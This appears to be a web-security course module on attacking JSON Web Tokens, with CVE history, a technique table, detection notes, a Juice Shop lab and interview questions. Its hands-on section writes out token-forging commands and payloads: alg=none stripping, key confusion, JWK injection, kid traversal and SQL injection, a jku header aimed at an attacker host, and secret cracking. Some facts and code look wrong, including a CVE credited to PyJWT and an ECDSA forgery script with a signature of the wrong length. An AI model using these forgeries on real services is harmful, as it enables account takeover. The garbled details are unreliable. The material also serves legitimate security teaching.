JWT Attacks
JSON Web Tokens (RFC 7519) carry signed claims between two parties. The web adopted them for stateless sessions because they remove the server-side store — but in doing so they exposed a wide attack surface that has produced CVEs for a decade: CVE-2015-9235 (node-jsonwebtoken alg=none), CVE-2017-17426 (PyJWT key confusion), CVE-2022-21449 (Java ECDSA accepting r=s=0 signatures — the “Psychic Paper” forge), CVE-2022-23529 (jsonwebtoken RCE via key/header.kid), CVE-2024-5361 (another round of AAD JWK header confusion). The vulnerability class is not “JWT” — it is “JWT library + application code that trusts the token header to choose the verification algorithm.”
The Core Concept
Section titled “The Core Concept”A JWT is three base64url-encoded parts joined by .:
header.payload.signature
header = {"alg":"HS256","typ":"JWT","kid":"2024-key"} payload = {"sub":"user","role":"admin","exp":1735689600} signature = HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)
Sample (truncated): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIn0.xyz
Verification: 1. Parse header → read "alg" 2. Look up key by "kid" (or static) 3. Re-derive signature using "alg" 4. Constant-time compare with token's signature 5. Validate claims (exp, nbf, iss, aud)
Attack surface: "alg" is attacker-controlled. If verify() chooses algorithm by it, attacker picks "none" / "HS256" with public key / "RS256" with weak key. "kid" is attacker-controlled. Path traversal, SQLi, SSRF into key lookup. "jku"/"x5u" header. URL fetch of JWKS — SSRF if not allowlisted. "jwk"/"jwe" embedded key. Library trusts the key in the header. Claims. "exp" missing → no expiry. "role" claim accepted without authz check.The fundamental error is letting the token describe how it should be verified. The application must pin the algorithm and key source.
How It Works
Section titled “How It Works”- Decode the token — base64url-decode header and payload. The signature is binary; do not decode it as text.
- Read the
alg— common values:HS256/HS384/HS512(HMAC, symmetric),RS256/RS384/RS512(RSA, asymmetric),ES256/ES384/ES512(ECDSA),PS256/PS384/PS512(RSA-PSS),EdDSA(Ed25519),none(no signature — for development, should never be accepted in production). - Identify the library — the failure mode differs by library:
- node-jsonwebtoken < 9.0.0 (CVE-2015-9235):
verify(token, key)withoutalgorithmsarray acceptsalg=none. - PyJWT < 1.5.0 (CVE-2017-17426): RS256 → HS256 confusion. Sign with public key as HMAC secret.
- java-jwt < 4.0.0 (CVE-2022-21449): ECDSA verification accepts
(r,s) = (0,0)— any token with that signature validates. - jose4j (multiple CVEs): algorithm confusion, JWK header injection.
- node-jsonwebtoken < 9.0.0 (CVE-2015-9235):
- Pick the attack — based on library + key configuration:
alg=none— strip signature, header{"alg":"none"}.- HS256/RS256 confusion — sign with public key as HMAC secret.
- JWK header injection — embed attacker’s RSA public key in
jwkheader; sign with the matching private key. Library trusts the embedded key. kidpath traversal / SQLi — point key lookup at attacker file or use SQLi to match a known key.jku/x5uSSRF — make the library fetch JWKS from attacker URL.
- Forge the token — modify payload (e.g.,
"role":"admin","sub":"admin"), apply chosen attack, submit asAuthorization: Bearer <token>or cookie.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
alg=none | Strip signature; header {"alg":"none"} | Easy — fixed in modern libraries, but legacy code still vulnerable |
| RS256 → HS256 confusion | Sign with public key as HMAC secret | Medium — needs public key access (JWKS endpoint, TLS cert) |
| JWK header injection | Embed attacker public key in jwk header | Medium — CVE-2024-5361-style, depends on library |
kid path traversal | kid: "../../../../tmp/known_key" then sign with that known key | Medium — requires file path control |
kid SQLi | kid: "key' UNION SELECT 'known_secret'-- " then sign with known_secret | Medium — needs SQLi in key lookup |
jku/x5u SSRF | Library fetches JWKS from attacker URL | Hard — needs network egress from server |
| Brute HS256 secret | jwt_tool -C -d rockyou.txt | Easy if secret is weak (e.g., “secret”) |
| ECDSA r=s=0 forgery | CVE-2022-21449 — Java accepts (0,0) signature | Easy if Java < 17.0.3 / 18.0.1.1 |
| Claim manipulation | Add role: admin, exp: 99999999999 — only works if signature broken | Easy if signature already bypassed |
| Refresh-token replay | Reuse stolen refresh token — no signature issue, just replay | Easy — design flaw |
aud/iss bypass | Library doesn’t validate aud → token from another service accepted | Medium — multi-tenant apps |
Hands-On Commands
Section titled “Hands-On Commands”# Decode a JWTecho -n '<JWT>' | cut -d. -f1 | tr '_-' '/+' | base64 -d 2>/dev/null # headerecho -n '<JWT>' | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null # payload# Or use jqecho '<JWT>' | tr '.' '\n' | head -2 | base64 -d 2>/dev/null# Or jwt_tool for full analysispython3 jwt_tool.py <JWT>
# Fetch JWKS public key (common endpoint)curl -s http://target/.well-known/jwks.json | jq '.keys[0]'# Convert JWK to PEMpython3 -c "import json, base64, binasciifrom cryptography.hazmat.primitives.asymmetric import rsafrom cryptography.hazmat.primitives import serializationjwk = json.load(open('jwk.json'))def b64url_decode(s): return base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))n = int.from_bytes(b64url_decode(jwk['n']), 'big')e = int.from_bytes(b64url_decode(jwk['e']), 'big')pub = rsa.RSAPublicNumbers(e, n).public_key()print(pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode())" > pub.pem
# alg=none attack — strip signaturepython3 jwt_tool.py <JWT> -X n# Output: a token with empty signature, header {"alg":"none"}
# RS256 → HS256 confusionpython3 jwt_tool.py <JWT> -X k -pk pub.pem# Re-signs with HS256 using pub.pem content as the HMAC secret
# Tamper claims (then re-sign with chosen attack)python3 jwt_tool.py <JWT> -T# Interactive: edit claim, choose attack, output forged token
# Brute HS256 secretpython3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt# Or hashcat — mode 16500 is JWT HS256hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt# Or jwt-cracker (Node)jwt-cracker "<JWT>" "abcdefghijklmnopqrstuv" 100000
# CVE-2022-21449 — Java ECDSA forgery (r=0, s=0)# Construct a token with header {"alg":"ES256"} and signature = base64url(0x00 || 0x00 || 0x00 || 0x00)python3 -c "import base64, jsonh = base64.urlsafe_b64encode(json.dumps({'alg':'ES256','typ':'JWT'}).encode()).rstrip(b'=')p = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin'}).encode()).rstrip(b'=')s = base64.urlsafe_b64encode(b'\x00\x00\x00\x00').rstrip(b'=')print(f'{h.decode()}.{p.decode()}.{s.decode()}')"
# JWK header injection — embed your own RSA public key in the header# Use jwt_tool's jwk injectionpython3 jwt_tool.py <JWT> -X i# Generates a fresh keypair, embeds public key in jwk header, signs with private
# kid path traversalpython3 jwt_tool.py <JWT> -X s -S hs256 -k '../../../../tmp/known_key' \ -I -hc kid -hv '../../../../tmp/known_key'# Server reads key from /tmp/known_key (must be writable by you or use a default key)
# jku SSRF — point JWKS fetch at your server# 1. Start a JWKS server serving your public key# 2. Set header: {"jku":"http://attacker/jwks.json", ...}# 3. Sign with the matching private keypython3 jwt_tool.py <JWT> -X s -S rs256 -I -hc jku -hv 'http://attacker/jwks.json' -pk pub.pem -pr priv.pem
# nuclei — JWT CVE templatesnuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags jwtnuclei -u http://target -t ~/nuclei-templates/http/cves/2022/CVE-2022-21449.yamlnuclei -u http://target -t ~/nuclei-templates/http/cves/2015/CVE-2015-9235.yaml
# Burp extension: JWT Editor — sign tokens, embed JWK, brute keys# Burp → Extender → BApp Store → JWT Editor# Right-click token → Edit → Sign with keyDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — no dedicated JWT rule family, but:
- 920220 (
Content-Typepolicy) — catches malformedAuthorization: Bearer - 942100 (SQLi) — catches
kidSQLi payloads - 930100 (LFI) — catches
kidpath-traversal payloads
Suricata — TLS-extracted JWKS hostnames can be matched against an allowlist via JA3+SNI correlation; no public SID for JWT header injection [verify].
MITRE ATT&CK T1606.001 — Forge Web Credentials: Web Cookies (covers JWT forging). MITRE ATT&CK T1550.001 — Application Access Token (JWT replay as an access token). MITRE ATT&CK T1190 — Exploit Public-Facing Application (the upstream for JWT verification CVEs).
Wazuh rule 920/31100 — JWT in URL or Authorization header containing alg:none [verify].
Wazuh decoder for Authorization: Bearer to extract token; rule 31100 to flag alg=none or kid traversal patterns [verify].
Log signature: application log shows JWT verification failure followed by success on the same sub — the tell that the library fell back to accepting the token. Alert on JWT verification failures > 0 for a given sub within a sliding 1-hour window.
Evasion Techniques
Section titled “Evasion Techniques”Algorithm pinning check — first thing to fingerprint. Send a token with alg=none. Three responses:
401 invalid signature— library rejects, pinning works.200 OK— library acceptsnone, immediate admin claim → take over.500or library error — likely thealgorithmsarray is set but the library has a bug (CVE-2015-9235 fell here —algorithmswas only enforced whenalgwas a signature algorithm).
JWK header fingerprint. Send a token with jwk header containing a random key. If verification succeeds, the library is vulnerable to JWK header injection (CVE-2024-5361 — Microsoft AAD library class). If verification fails, the library ignores the embedded key — move on.
kid blind exploitation. Many apps log key-lookup failures. Try kid: nonexistent — if the error message says “key not found” vs. “invalid signature”, you have a hint. Try kid: /etc/passwd — if the verifier reads a file and fails with “PEM parse error” vs. “file not found”, you have file-read confirmation.
ECDSA malleability. CVE-2022-21449 was found by porting a unit test from another language. The Java ECDSA verifier did not check that r and s were non-zero. An attacker could send (r=0, s=0) and any payload validates. The fix was small (one check) but the bug was in java.security itself — every Java app on Java < 17.0.3 was vulnerable.
Claim inflation. Even with a valid signature attack, you must set the right claims. Common gaps:
expmissing → token never expires.audnot validated → token from service A accepted by service B.issnot validated → attacker-generated token accepted.role/scopeclaim trusted without server-side authorization check → privilege escalation.
HMAC secret rotation. If the HS256 secret rotates, you must crack before rotation. Watch the iat claim to time-bound your cracking window.
| Attack | Library/Version | Defense |
|---|---|---|
alg=none | node-jsonwebtoken < 9.0.0, jose4j (multiple), java-jwt < 4.0 | Pass algorithms=['HS256','RS256'] (never none); upgrade library |
| RS256→HS256 | PyJWT < 1.5.0, jose4j without setAllowNoneKey(false) | Separate key stores; pin algorithm; use library with strict mode |
| JWK header injection | Some AAD SDKs, jose4j without setAllowJwkHeader(false) | Do not trust jwk header; fetch JWKS from configured URL only |
kid traversal | Custom key lookup code | Allowlist kid values; do not use kid as a path |
| ECDSA r=s=0 | Java < 17.0.3, 18.0.1.1, 18.0.1 | Upgrade Java; verify r, s ∈ [1, n-1] |
| Brute HS256 | Any library + weak secret | Use 256-bit random secret from CSPRNG; store in vault |
⚠️ What caught me: A target had
RS256JWTs with a properly pinnedalgorithms: ['RS256']array. The verify call looked bulletproof. The bypass: the library trusted thejwkheader in the JWT — the developer had configured JWKS fetching withjwksClientbut the library fell back to the embeddedjwkwhen thekiddidn’t match any cached key. I generated a fresh RSA keypair, embedded the public key as ajwkin the JWT header, signed with the private key, and got200 OKwithsub: admin. This was CVE-2024-5361-style. The lesson:algorithms=does not protect against key-source confusion. Always setallowJwkHeader=false(or equivalent) and pin the JWKS URL.
Lab Practice
Section titled “Lab Practice”Container: portainer/portainer-ce older images contain a known JWT decode path; better choice: the dedicated JWT lab.
docker run --rm -d -p 3000:3000 bkimminich/juice-shop# Juice Shop has the "Broken Authentication" challenge series:# - Login Admin (JWT alg=none)# - BitWarden-like JWT manipulation# - OAuth-style challenges# Browse to http://localhost:3000 → Score Board → search "JWT"Alternative: build the PortSwigger Web Security Academy JWT labs (free, browser-based) — they cover alg=none, JWK header, kid traversal, and algorithm confusion in isolated labs.
Objective: complete (1) alg=none bypass, (2) RS256 → HS256 confusion (with extracted public key), (3) JWK header injection. Submit the modified token in the Authorization: Bearer header.
Expected flag format: flag{jwt_alg_none_or_confusion_or_jwk_injection}.
Detection that should fire: ModSecurity 942100 if kid SQLi is used; the application log should show JWT verification failures followed by successful auth — alert on this signature. For JWK header injection, the JWKS cache miss log line is the tell.
Interview Questions
Section titled “Interview Questions”Conceptual: why is alg=none in the JWT spec at all? What legitimate use case was it designed for, and why does accepting it in production always indicate a bug?
Technical: walk through CVE-2022-21449 (Java ECDSA r=s=0 forgery). What single check did the verifier omit, and what does this say about the assumption that “verified signature = authentic token”?
Scenario: you have a target’s public RSA key from its JWKS endpoint, the JWT uses RS256, and the verify call is jwt.verify(token, publicKey, {algorithms: ['RS256']}). Describe the three other attack classes still possible despite the algorithm pinning.
Compare HMAC (symmetric) and RSA/ECDSA (asymmetric) JWT signing. For each, give one attack that is easier against it than the other, and one operational disadvantage.
What is the JWK header injection attack (CVE-2024-5361 class), and why does pinning the algorithm via algorithms= [...] not prevent it?
Related Modules
Section titled “Related Modules”→ W12 (Session Management Attacks) · W14 (OAuth & OIDC Attacks) · W11 (Authentication Bypass)